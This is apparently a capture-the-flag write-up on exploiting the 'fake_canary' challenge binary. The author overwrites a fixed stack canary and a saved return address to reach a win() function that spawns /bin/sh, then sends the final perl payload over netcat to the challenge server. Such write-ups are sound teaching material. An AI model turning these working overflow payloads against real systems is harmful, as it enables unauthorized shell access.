Reversing
---------
looking at the disassembly, it looks pretty similar to stackoverflow
there is a value put on the stack and later it checks that it is still there
we have the ability to smash the stack, but if we destroy that value, it will exit
because it's a fixed value, though, we can just overwrite it with the same value
so now that we can overwrite the stack, what can we do?
there is a win() function which does the same system call with /bin/sh as stackoverflow
so if we can get into that, we get a remote shell
The Attack
----------
because we can smash the stack, we can control where the function returns to
[current stack frame]
[saved rbp]
[saved rip]
[previous stack frame]
looking again at the disassembly, we are writing into $rbp-0x30, the "canary" of 0x00000000deadbeef is at $rbp-0x08, the saved rbp is at $rbp, and the saved rip is right after. we want to write the location of win() into the saved rip and the same canary value into where it's already at.
keep in mind it's a 64bit executable, so the addresses are 8 bytes. This means the saved rbp and saved rip are both 8 bytes. The canary also happens to be 8 bytes (it was probably just implemented with an int).
perl -e 'print "AAAA"x10 ."\xef\xbe\xad\xde" ."\x00"x4 ."\x40\x07\x40\x00\x00\x00\x00\x00" ."\x29\x07\x40\x00\x00\x00\x00\x00";' | ./fake_canary
Cat Tricks
----------
and, of course, this doesn't work for the same reason as stackoverflow. It is getting past the canary, setting up rip to get into win(), and getting to the shell, but because stdin immediately closes at the end of the payload, the shell just closes
we can use the cat trick from before to get around that
cat <(perl -e 'print "AAAA"x10 ."\xef\xbe\xad\xde" ."\x00"x4 ."\x40\x07\x40\x00\x00\x00\x00\x00" ."\x29\x07\x40\x00\x00\x00\x00\x00";') - | ./fake_canary
and, of course, this doesn't quite work either, and will instead just sit at the prompt. gets isn't getting an eof anymore and isn't returning, so we need to put a newline in for gets to return
our final working payload
cat <(perl -e 'print "AAAA"x10 ."\xef\xbe\xad\xde" ."\x00"x4 ."\x40\x07\x40\x00\x00\x00\x00\x00" ."\x29\x07\x40\x00\x00\x00\x00\x00\n";') - | ./fake_canary
and this works against netcat as well
cat <(perl -e 'print "AAAA"x10 ."\xef\xbe\xad\xde" ."\x00"x4 ."\x40\x07\x40\x00\x00\x00\x00\x00" ."\x29\x07\x40\x00\x00\x00\x00\x00\n";') - | nc chal.imaginaryctf.org 42002
from here we can ls to find flag.txt and cat flag.txt